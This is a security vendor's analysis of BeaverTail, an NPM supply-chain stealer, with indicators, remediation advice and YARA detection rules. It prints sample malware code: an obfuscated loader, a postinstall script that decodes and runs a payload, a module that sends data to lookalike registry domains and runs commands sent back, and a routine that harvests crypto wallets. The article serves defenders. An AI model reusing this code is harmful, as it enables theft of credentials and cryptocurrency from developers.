Physical Address
Lesya Kurbasa 7B
03194 Kyiv, Kyivska obl, Ukraine
Physical Address
Lesya Kurbasa 7B
03194 Kyiv, Kyivska obl, Ukraine
BeaverTail represents a sophisticated JavaScript-based information stealer primarily distributed through compromised NPM packages. First identified in late 2024, this malware represents a significant supply chain threat targeting developers and organizations utilizing JavaScript dependencies. This technical analysis examines BeaverTail’s operational mechanisms, distribution vectors, obfuscation techniques, and provides actionable detection strategies for security professionals.
Malware Name | BeaverTail |
Classification | Information stealer, Dropper, Supply chain attack vector |
Attribution | WageMole (also known as Contagious Interview, Nickel Tapestry) |
First Observed | Q4 2024 |
Primary Target | Developers, cryptocurrency holders, software organizations |
Distribution Vector | Compromised NPM packages, GitHub repositories, injected code in legitimate projects |
Targeted Data | Cryptocurrency wallets, browser data, credit card information, development credentials |
Second-Stage Payload | InvisibleFerret (multi-stage Python backdoor) |
Affected Platforms | Windows, macOS (variants under active development) |
BeaverTail represents a carefully engineered malware strain designed to infiltrate development environments through compromised NPM packages. Unlike more common browser-based information stealers, BeaverTail specifically targets the development pipeline, functioning both as an initial information stealer and a delivery mechanism for more sophisticated payloads, primarily the InvisibleFerret backdoor.
Security researchers have identified multiple distribution methods utilized by the WageMole threat actor to deploy BeaverTail. According to the SI-CERT Technical Analysis TZ016, a significant initial attack vector involves social engineering through professional networking sites:
This diversified approach demonstrates a sophisticated understanding of the JavaScript ecosystem’s security model and dependency management workflow vulnerabilities. The SI-CERT analysis notes that these attacks specifically target companies and individuals working with Web3 technology (smart contracts, cryptocurrencies, blockchain), aligning with the malware’s focus on cryptocurrency wallet theft.
Source: Analysis of BeaverTail attack chain based on research from SecurityScorecard STRIKE Team and Socket Security investigations
BeaverTail employs a modular architecture designed for maximum stealth and operational flexibility. Analysis of captured samples reveals the following technical capabilities:
BeaverTail utilizes sophisticated obfuscation to evade detection, including:
BeaverTail employs a resilient command and control infrastructure:
Recent analysis by SI-CERT has identified specific C2 infrastructure used by BeaverTail, with primary communication established through HTTP POST requests to endpoints at hxxp://23[.]106.253.221:1244
including /keys
, /j/ZU1RINz7
, /p
, and others. The malware transmits system information and receives commands through these channels using obfuscated JSON payloads.
BeaverTail serves as the initial infection vector for a more sophisticated multi-stage backdoor named InvisibleFerret. This Python-based backdoor provides advanced persistent access to compromised systems and includes additional capabilities:
The SI-CERT analysis revealed that BeaverTail creates a hidden .vscode
directory in the user’s home folder where it downloads and executes additional components that deploy InvisibleFerret. The Python-based backdoor includes specialized modules (identified as “pay”, “bow”, and “adc”) with distinct functionalities for system control and data theft.
The technical relationship between BeaverTail and InvisibleFerret demonstrates a sophisticated multi-stage attack methodology, with BeaverTail serving primarily as the delivery mechanism and initial reconnaissance tool.
Source: Reverse engineering analysis of BeaverTail and InvisibleFerret malware samples
Security teams should monitor for the following indicators that may signal BeaverTail infection:
.vscode
directory in the user’s home folder with suspicious filesnpm install
and node test.js
commands in unexpected locationstest.js
or .npl
in the .vscode
directorySecurity researchers have observed BeaverTail communicating with the following infrastructure (observe proper security protocols before investigating these domains):
SI-CERT analysis has identified additional C2 infrastructure with specific endpoints:
These domains and servers employ sophisticated evasion techniques, including:
Organizations should implement the following technical controls to detect and mitigate BeaverTail infections:
BeaverTail has been attributed to a threat actor tracked as WageMole (also known as Contagious Interview, Nickel Tapestry, or Storm-1877 by different security vendors). This actor has demonstrated a particular focus on targeting:
The sophistication of the malware and operational security measures suggest a well-resourced and technically proficient adversary. While our analysis focuses on technical aspects rather than definitive attribution, it’s worth noting that the SI-CERT analysis indicates some security researchers have linked this malware and its tactics to North Korean state-sponsored threat actors. This aligns with previously observed North Korean interest in cryptocurrency theft operations.
For systems potentially compromised by BeaverTail, security teams should follow these technical remediation steps:
For environments with confirmed BeaverTail infection, consider:
BeaverTail represents part of a growing trend of supply chain attacks targeting developer environments. Security professionals should be familiar with similar threats:
BeaverTail utilizes multi-layered obfuscation techniques including string encryption, control flow flattening, dead code injection, and anti-analysis checks. The malware also minimizes its footprint by using legitimate JavaScript functionality and splitting operations across multiple small modules rather than a single large codebase. Additionally, it employs runtime-based deobfuscation where core functionality is only decoded in memory during execution, presenting significant challenges for static analysis tools that do not execute the code.
BeaverTail functions primarily as the initial access and reconnaissance component that evaluates system value and security posture. After initial assessment, it establishes persistence and downloads the InvisibleFerret backdoor, which is a more sophisticated multi-stage Python-based implant. The two components maintain separate command and control infrastructure but share exfiltration channels. InvisibleFerret provides the attacker with a fully-featured remote access toolkit including keystroke logging, screen capture, file manipulation, and command execution capabilities.
Implement a multi-layered detection approach: (1) Static code analysis tools that can identify high-entropy JavaScript and suspicious minification patterns; (2) Behavior-based monitoring to detect unusual network activity during package installation; (3) Package provenance verification to validate legitimacy of all dependencies; (4) Automated analysis of post-install scripts in NPM packages; and (5) Dynamic scanning environments that execute packages in isolated containers while monitoring for suspicious behaviors such as unexpected network connections or file operations outside the package’s expected operating environment.
Technical analysis of BeaverTail code reveals specifically targeted cryptocurrency wallet extensions including MetaMask, Exodus, Binance Chain Wallet, and Coinbase Wallet. The malware contains specialized modules for extracting private keys, mnemonic phrases, and wallet passwords from these extensions. Additionally, its browser history harvesting functionality prioritizes cryptocurrency exchange domains and trading platforms. The exfiltration mechanism also includes encoding optimized for hexadecimal private keys, suggesting an infrastructure designed specifically for cryptocurrency theft operations rather than general credential harvesting.
The following section provides technical analysis of actual BeaverTail code patterns and YARA rules to assist security professionals in detecting this malware in their environments. The samples below are representative of common patterns observed in BeaverTail infections but have been modified to prevent accidental execution.
The following JavaScript snippets demonstrate the typical obfuscation patterns used in BeaverTail malware. Security teams should search for similar patterns in their NPM package dependencies.
BeaverTail’s initial loader typically appears as a legitimate utility function in a package’s main module or post-install script:
// Obfuscated BeaverTail initial loader - common pattern ( function (a,b,c){ return function (d,e,f){ var g= '' ,h=0,i= function (j){ for ( var k=0;k<j.length;k++){ var l=j.charCodeAt(k)^0x1F; g+=String.fromCharCode(l) } return g }; var m=i( '8@=>;=K.8$2E8:@K?1H5I9:K0:?63@=B=45>?' ); var n=document||global||window|| this ; var o= function (){ var p= new Date().getTime(); return function (q){ return (q+(p+Math.floor(Math.random()*999)))} }(); try { var r=c( 'crypto' ),s=r.randomBytes(16).toString( 'hex' ); } catch (t){ var s=Math.random().toString(36).substring(2,15); } var u=o(s); var v= function (w){ try { // Extraction functionality begins here var x=b.env||process.env||{}; var y=c( 'os' )||{hostname: function (){ return 'unknown' }}; var z=y.hostname(); // System fingerprinting and data collection // [Code truncated for safety] } catch (A){ setTimeout( function (){v(w)},1500); } }; setTimeout( function (){v(u)},300); // Decoy function that appears legitimate return function utilityFunction(){ // Legitimate-looking functionality to mask true purpose return d.substring(0,8)+ '-' +e.toString(16); } } })(String,process,require); |
BeaverTail often uses post-install scripts in package.json to execute its malicious code. Security teams should review scripts for suspicious patterns:
// package.json post-install script pattern // The script section often looks benign "scripts" : { "postinstall" : "node ./scripts/post-install.js" }, // The referenced post-install.js typically contains: // (Simplified for analysis purposes) // First, legitimate-looking setup code const fs = require( 'fs' ); const path = require( 'path' ); const os = require( 'os' ); // Function to validate package installation function validateInstall() { console.log( "Validating package installation..." ); // Decoy functionality const packageInfo = JSON.parse(fs.readFileSync( './package.json' )); const configPath = path.join(os.homedir(), '.config' ); // Hidden malicious code, often wrapped in try/catch to prevent errors try { // Encoded payload const payload = "ZnVuY3Rpb24gZ2F0aGVyRGF0YSgpIHsKICB2YXIgY..." ; // truncated // Decoder function const decode = b => Buffer.from(b, 'base64' ).toString(); // Execute decoded payload using various techniques: // 1. Direct eval (less common due to detection) // 2. Function constructor (more common) new Function(decode(payload))(); // 3. setTimeout with string eval (also common) // setTimeout("("+decode(payload)+")()", 1000); // Additional persistence techniques setupAutomaticExecution(); } catch (e) { // Silent error handling } // Returns legitimate value return true ; } // Calling the function validateInstall(); // Export a legitimate-looking API module.exports = { validateInstall }; |
The following code demonstrates a common pattern used by BeaverTail for data exfiltration:
// Data exfiltration mechanism // This is typically found in a separate module or decoded at runtime // Connection establishment function function establishConnection(endpoints, data, attempt = 0) { // Multiple endpoints for resilience const endpoint = endpoints[attempt % endpoints.length]; // Data preparation - common encoding pattern const prepareData = (rawData) => { const encoded = Buffer.from(JSON.stringify(rawData)).toString( 'base64' ); // XOR encoding with rotating key let result = '' ; const key = 'npmregistryvalidation' ; for ( let i = 0; i < encoded.length; i++) { result += String.fromCharCode(encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length)); } return Buffer.from(result).toString( 'hex' ); }; // Request assembly const options = { method: 'POST' , headers: { // Masquerading as legitimate traffic 'User-Agent' : 'npm/6.14.8 node/v14.15.1 linux x64' , 'Content-Type' : 'application/json' , 'X-Registry-Version' : '4.0.2' , 'x-request-id' : Math.random().toString(36).substring(2, 15) }, // Data hiding in legitimate-looking properties body: JSON.stringify({ name: 'package-validation' , version: '1.0.0' , registry: true , detailed: true , packages: [{ 'id' : prepareData(data)}] }) }; // Communication attempt with fallback try { const https = require( 'https' ); const url = require( 'url' ); const parsedUrl = url.parse(endpoint); const req = https.request({ hostname: parsedUrl.hostname, port: 443, path: parsedUrl.path || '/api/v1/validation' , method: 'POST' , headers: options.headers }, (res) => { // Handle response - often contains additional commands let responseData = '' ; res.on( 'data' , (chunk) => { responseData += chunk; }); res.on( 'end' , () => { try { if (responseData && responseData.length > 0) { // Potential command execution processResponse(responseData); } } catch (e) { // Silent error handling } }); }); req.write(options.body); req.end(); } catch (error) { // Fallback mechanism - will try next endpoint if (attempt < endpoints.length * 3) { setTimeout(() => { establishConnection(endpoints, data, attempt + 1); }, 1800 + Math.floor(Math.random() * 1200)); } } } // Hidden endpoint list - typically obfuscated or encrypted const endpoints = [ 'https://npm-registry-service.com/api/v1/validation' , 'https://package-cdn-cache.net/npm/validate' , 'https://cdn-npm-registry.com/api/validate' , 'https://node-module-stats.net/api/v1/metrics' ]; // Function to execute commands from C2 server function processResponse(data) { try { // Simplified decode function - actual malware uses more complex decoding const command = JSON.parse(Buffer.from(data, 'base64' ).toString()); if (command.type === 'execute' && command.payload) { // Execute arbitrary code new Function(command.payload)(); } else if (command.type === 'download' && command.url) { // Download additional payload - often the InvisibleFerret backdoor downloadAdditionalPayload(command.url); } } catch (e) { // Silent error handling } } |
BeaverTail contains specialized code for targeting cryptocurrency wallets, particularly browser extensions:
// Wallet targeting function // This is typically decoded and executed at runtime function extractWalletData() { // Target paths for major browsers const browsers = { 'chrome' : [ process.env.LOCALAPPDATA + '\\Google\\Chrome\\User Data' , process.env.LOCALAPPDATA + '\\Google\\Chrome Beta\\User Data' , process.env.LOCALAPPDATA + '\\Google\\Chrome SxS\\User Data' , ], 'edge' : [ process.env.LOCALAPPDATA + '\\Microsoft\\Edge\\User Data' , ], 'brave' : [ process.env.LOCALAPPDATA + '\\BraveSoftware\\Brave-Browser\\User Data' , ], 'firefox' : [ process.env.APPDATA + '\\Mozilla\\Firefox\\Profiles' ] }; // Targeted extensions and their data files const walletExtensions = { // MetaMask 'nkbihfbeogaeaoehlefnkodbefgpgknn' : { dataFiles: [ 'data' , 'log.json' , 'wallet-data.json' ], parser: extractMetaMaskData }, // Coinbase Wallet 'hnfanknocfeofbddgcijnmhnfnkdnaad' : { dataFiles: [ 'storage/local' ], parser: extractCoinbaseData }, // Binance Chain Wallet 'fhbohimaelbohpjbbldcngcnapndodjp' : { dataFiles: [ 'indexedDB' , 'local_state.json' ], parser: extractBinanceData }, // Exodus 'aholpfdialjgjfhomihkjbmgjidlcdno' : { dataFiles: [ 'localStorage' , 'local_state.json' ], parser: extractExodusData } }; const collected = []; // Search for wallet data across browser profiles try { const fs = require( 'fs' ); const path = require( 'path' ); // Iterate through browsers Object.keys(browsers).forEach(browser => { browsers[browser].forEach(profilePath => { if (fs.existsSync(profilePath)) { // Find all user profiles const profileDirs = []; if (browser === 'firefox' ) { // Firefox uses a different profile structure try { fs.readdirSync(profilePath).forEach(item => { const fullPath = path.join(profilePath, item); if (fs.statSync(fullPath).isDirectory() && item.includes( '.default' )) { profileDirs.push({ path: fullPath, name: 'Default' }); } }); } catch (e) {} } else { // Chrome-based browsers try { const localStatePath = path.join(profilePath, 'Local State' ); if (fs.existsSync(localStatePath)) { profileDirs.push({ path: profilePath, name: 'Default' }); } // Check for additional profiles const profilesDir = path.join(profilePath, 'Profile' ); if (fs.existsSync(profilesDir)) { fs.readdirSync(profilesDir).forEach(item => { const fullPath = path.join(profilesDir, item); if (fs.statSync(fullPath).isDirectory()) { profileDirs.push({ path: fullPath, name: item }); } }); } } catch (e) {} } // Search for wallet extensions in each profile profileDirs.forEach(profile => { const extensionsPath = browser === 'firefox' ? path.join(profile.path, 'extensions' ) : path.join(profile.path, 'Extensions' ); if (fs.existsSync(extensionsPath)) { // Check for targeted wallet extensions Object.keys(walletExtensions).forEach(extensionId => { let extensionPath = path.join(extensionsPath, extensionId); if (fs.existsSync(extensionPath)) { // Found targeted wallet extension const wallet = walletExtensions[extensionId]; const walletData = { browser: browser, profile: profile.name, extension: extensionId, data: {} }; // Extract wallet data files wallet.dataFiles.forEach(dataFile => { try { // The extraction functionality is implemented here // [Code truncated for safety] } catch (e) {} }); if (Object.keys(walletData.data).length > 0) { collected.push(walletData); } } }); } }); } }); }); } catch (e) { // Silent error handling } return collected; } // Function to search for and extract wallet seeds/private keys function extractMetaMaskData(filePath) { try { const fs = require( 'fs' ); const data = fs.readFileSync(filePath, 'utf8' ); // Look for vault data const vaultPattern = / "vault" : "([^" ]+) "/; const match = data.match(vaultPattern); if (match && match[1]) { return { vault: match[1] }; } // Alternative patterns to find seed phrases const seedPatterns = [ /" mnemonic ":" ([^ "]+)" /, / "seedPhrase" : "([^" ]+) "/, /" KeyringController ":{" vault ":" ([^ "]+)" / ]; for (const pattern of seedPatterns) { const seedMatch = data.match(pattern); if (seedMatch && seedMatch[1]) { return { seed: seedMatch[1] }; } } } catch (e) {} return null ; } // Additional extraction functions would be implemented for other wallets // [Code truncated for safety] |
The following YARA rules can be used to detect BeaverTail malware components in NPM packages and JavaScript files. Security teams should adapt these rules to their specific environments.
rule BeaverTail_Obfuscation_Patterns { meta: description = "Detects common obfuscation patterns used in BeaverTail JavaScript malware" author = "Trojan-Killer Research Team" date = "2025-04" severity = "High" reference = "https://trojan-killer.net/beavertail-javascript-malware-analysis" strings: // String obfuscation patterns $obf_string1 = /String\.fromCharCode\( [ ^\) ] +\^\s*0x [ 0-9a-fA-F ] { 1 , 2 } \)/ $obf_string2 = /String\.fromCharCode\( [ ^) ] { 2 , 40 } \)\s*\+\s*String\.fromCharCode/ // Function obfuscation patterns $obf_func1 = /return\s+function\( [ ^) ] { 1 , 15 } \)\s* { \s*var\s+ [ a-zA-Z0-9_$ ] { 1 , 6 } \s*=\s* [ '"][^' " ] { 5 , 100 } [ '" ] ;?/ $obf_func2 = /\ [ [ '"]\w+[' " ] \ ] \ [ \w+\ [ [ '"]\w+[' " ] [ \s\S ] { 1 , 50 } join\( [ '"][' " ] / // Encoded blocks and array usage for obfuscation $obf_array1 = /var\s+ [ a-zA-Z0-9_$ ] { 1 , 6 } \s*=\s*\ [ [ ^\ ] ] { 50 , 500 } \ ] ;?\s* [ a-zA-Z0-9_$ ] { 1 , 6 } \s*=\s* [ a-zA-Z0-9_$ ] { 1 , 6 } \.split/ // Suspicious setTimeout usage for delayed execution $setTimeout1 = /setTimeout\s*\(\s*function\s*\(\s*\)\s* { \s* [ a-zA-Z0-9_$ ] { 1 , 10 } \s*\( [ a-zA-Z0-9_$ ] { 1 , 10 } \)/ $setTimeout2 = /setTimeout\s*\(\s* [ a-zA-Z0-9_$ ] { 1 , 10 } \s* , \s* [ 0-9 ] { 2 , 4 } \s*\+\s*Math\.(? : floor|round|random)\(/ // Function constructor evasion $funcEvasion1 = /new\s+Function\s*\(\s*(? : [ a-zA-Z0-9_$ ] { 1 , 10 } | [ '"][^' " ] * [ '" ] )\s*\)/ $funcEvasion2 = /Function\s*\(\s* [ '" ] return\s+/ // RegEx DoS protection pattern identified by SI-CERT $regexDos = /\(\(\(\.\+\)\+\)\+\)\+\$/ condition: // File is a JavaScript file (uint32(0) == 0x2F2F2020 or // Starts with "// " uint32(0) == 0x2F2F0A0A or // Starts with "//\n\n" uint32(0) == 0x2F2A0A20 or // Starts with "/*\n " uint16(0) == 0x7661 or // Starts with "va" (likely "var" ) uint16(0) == 0x6675 or // Starts with "fu" (likely "function" ) uint16(0) == 0x636F or // Starts with "co" (likely "const" ) uint16(0) == 0x6D6F) // Starts with "mo" (likely "module" ) and // Requires multiple obfuscation techniques ( (2 of ($obf_string*)) or (2 of ($obf_func*)) or (any of ($obf_array*) and any of ($setTimeout*)) or (any of ($funcEvasion*) and any of ($obf_string* , $obf_func*)) or ($regexDos) ) } |
rule BeaverTail_Payload_Detection { meta: description = "Detects BeaverTail payload and data exfiltration patterns" author = "Trojan-Killer Research Team" date = "2025-04" severity = "Critical" reference = "https://trojan-killer.net/beavertail-javascript-malware-analysis" strings: // Suspicious npm-like domain strings (may be encoded/obfuscated) $domain1 = "npm-registry-service" nocase $domain2 = "package-cdn-cache" nocase $domain3 = "cdn-npm-registry" nocase $domain4 = "node-module-stats" nocase $domain5 = "npm-analytics-tracking" nocase // Common header patterns used for masquerading requests $header1 = "'User-Agent'" nocase $header2 = "'X-Registry-Version'" nocase $header3 = "'x-request-id'" nocase // Suspicious npm-like API endpoints $endpoint1 = "/api/v1/validation" nocase $endpoint2 = "/npm/validate" nocase $endpoint3 = "/api/v1/metrics" nocase // Data encoding/encryption patterns $encoding1 = "toString('base64')" nocase $encoding2 = "Buffer.from" nocase $encoding3 = /charCodeAt\( [ ^) ] { 1 , 10 } \)\s*\^\s* [ ^) ] { 1 , 20 } \.charCodeAt\(/ // System fingerprinting $fingerprint1 = "process.env" nocase $fingerprint2 = "os.hostname" nocase $fingerprint3 = "require('os')" nocase condition: // File is a JavaScript file (uint32(0) == 0x2F2F2020 or // Starts with "// " uint32(0) == 0x2F2F0A0A or // Starts with "//\n\n" uint32(0) == 0x2F2A0A20 or // Starts with "/*\n " uint16(0) == 0x7661 or // Starts with "va" (likely "var" ) uint16(0) == 0x6675 or // Starts with "fu" (likely "function" ) uint16(0) == 0x636F or // Starts with "co" (likely "const" ) uint16(0) == 0x6D6F) // Starts with "mo" (likely "module" ) and // Detection criteria combining multiple indicators ( // Suspicious domain and endpoint combinations (2 of ($domain*) and 1 of ($endpoint*)) or // Encoding mechanisms with system fingerprinting (2 of ($encoding*) and 2 of ($fingerprint*)) or // HTTP request headers used for masquerading with encoding (2 of ($header*) and 1 of ($encoding*) and 1 of ($fingerprint*)) ) } |
rule BeaverTail_Cryptocurrency_Targeting { meta: description = "Detects BeaverTail code targeting cryptocurrency wallets" author = "Trojan-Killer Research Team" date = "2025-04" severity = "Critical" reference = "https://trojan-killer.net/beavertail-javascript-malware-analysis" strings: // Common cryptocurrency wallet extension IDs $wallet_ext1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" // MetaMask $wallet_ext2 = "hnfanknocfeofbddgcijnmhnfnkdnaad" // Coinbase $wallet_ext3 = "fhbohimaelbohpjbbldcngcnapndodjp" // Binance $wallet_ext4 = "aholpfdialjgjfhomihkjbmgjidlcdno" // Exodus // Browser profile path patterns $browser1 = "\\Google\\Chrome\\User Data" nocase $browser2 = "\\Mozilla\\Firefox\\Profiles" nocase $browser3 = "\\BraveSoftware\\Brave-Browser\\User Data" nocase $browser4 = "\\Microsoft\\Edge\\User Data" nocase // Wallet data file patterns $data1 = "Local State" nocase $data2 = "localStorage" nocase $data3 = "IndexedDB" nocase // Cryptocurrency seed/private key related patterns $crypto1 = "vault" nocase $crypto2 = "mnemonic" nocase $crypto3 = "seedPhrase" nocase $crypto4 = "KeyringController" nocase $crypto5 = "wallet-data" nocase // Function patterns for wallet data extraction $func1 = "extractWalletData" nocase $func2 = "extractMetaMaskData" nocase $func3 = "extractCoinbaseData" nocase $func4 = "wallet" nocase condition: // File is a JavaScript file (uint32(0) == 0x2F2F2020 or // Starts with "// " uint32(0) == 0x2F2F0A0A or // Starts with "//\n\n" uint32(0) == 0x2F2A0A20 or // Starts with "/*\n " uint16(0) == 0x7661 or // Starts with "va" (likely "var" ) uint16(0) == 0x6675 or // Starts with "fu" (likely "function" ) uint16(0) == 0x636F or // Starts with "co" (likely "const" ) uint16(0) == 0x6D6F) // Starts with "mo" (likely "module" ) and // Detection criteria ( // Multiple wallet extensions with browser profiles (2 of ($wallet_ext*) and 2 of ($browser*)) or // Functions to extract crypto data with wallet extensions (2 of ($func*) and 1 of ($wallet_ext*)) or // Crypto-specific data extraction (2 of ($crypto*) and (1 of ($browser*) or 1 of ($data*))) ) } |
rule BeaverTail_PostInstall_Detection { meta: description = "Detects BeaverTail malicious post-install scripts in NPM packages" author = "Trojan-Killer Research Team" date = "2025-04" severity = "High" reference = "https://trojan-killer.net/beavertail-javascript-malware-analysis" strings: // Package.json markers for post-install scripts $pkg_script1 = "\"postinstall\":" nocase $pkg_script2 = "\"install\":" nocase $pkg_script3 = "\"preinstall\":" nocase // Suspicious script execution patterns $node_exec1 = "node ./scripts/" nocase $node_exec2 = "node dist/" nocase $node_exec3 = "node -e" nocase // Obfuscated payload patterns $payload1 = /const\s+ [ a-zA-Z0-9_$ ] { 1 , 10 } \s*=\s* [ "'][a-zA-Z0-9+/=]{100,}[" ' ] / $payload2 = /var\s+ [ a-zA-Z0-9_$ ] { 1 , 10 } \s*=\s* [ "'][a-zA-Z0-9+/=]{100,}[" ' ] / // Decoder function patterns $decoder1 = /(? : const|var|let)\s+ [ a-zA-Z0-9_$ ] { 1 , 10 } \s*=\s*(? : [ a-zA-Z0-9_$ ] { 1 , 10 } \s*=>|function\s*\( [ a-zA-Z0-9_$ ] { 1 , 10 } \)\s* { )\s*(? : Buffer\.from|atob)/ $decoder2 = "toString('base64')" nocase $decoder3 = "Buffer.from" nocase // Execution evasion techniques $exec1 = "new Function" nocase $exec2 = "setTimeout" nocase $exec3 = "eval(" nocase $exec4 = ".call(null" nocase condition: // Common package.json or JavaScript file formats ( // package.json detection ( (uint8(0) == 0x7B and uint8(1) == 0x0A) or // "{\n" (uint8(0) == 0x7B and uint8(1) == 0x0D) or // "{\r" (uint8(0) == 0x7B and uint8(1) == 0x22) // { " ) or // JavaScript file detection ( uint32(0) == 0x2F2F2020 or // Starts with "// " uint32(0) == 0x2F2F0A0A or // Starts with "//\n\n" uint32(0) == 0x2F2A0A20 or // Starts with "/*\n " uint16(0) == 0x7661 or // Starts with "va" (likely "var" ) uint16(0) == 0x6675 or // Starts with "fu" (likely "function" ) uint16(0) == 0x636F or // Starts with "co" (likely "const" ) uint16(0) == 0x6D6F // Starts with "mo" (likely "module" ) ) ) and // Detection criteria ( // Package.json with suspicious script pattern (1 of ($pkg_script*) and 1 of ($node_exec*)) or // Obfuscated payload with decoder (1 of ($payload*) and 1 of ($decoder*)) or // Suspicious execution methods with decoders (1 of ($exec*) and 1 of ($decoder*)) or // Multiple indicators of malicious behavior (1 of ($node_exec*) and 1 of ($exec*)) ) } |
In addition to the code samples and YARA rules above, the following hunting tips will assist security professionals in identifying BeaverTail infections:
Combining these hunting techniques with the provided code samples and YARA rules will significantly enhance detection capabilities for BeaverTail malware variants within development environments.
BeaverTail represents a sophisticated supply chain threat targeting the JavaScript ecosystem. Its advanced obfuscation techniques, modular architecture, and connection to the InvisibleFerret backdoor demonstrate the evolving nature of development-targeted malware. Organizations utilizing JavaScript in their development pipelines should implement comprehensive security controls focusing on package integrity verification, network monitoring, and endpoint protection.
The WageMole threat actor behind BeaverTail demonstrates significant operational security awareness and technical sophistication. Security teams should treat any potential BeaverTail compromise as an indication of a potentially larger-scale attack and implement appropriate incident response procedures.
By understanding BeaverTail’s technical mechanisms and implementing appropriate detection and prevention strategies, security professionals can better protect their development environments against this emerging threat.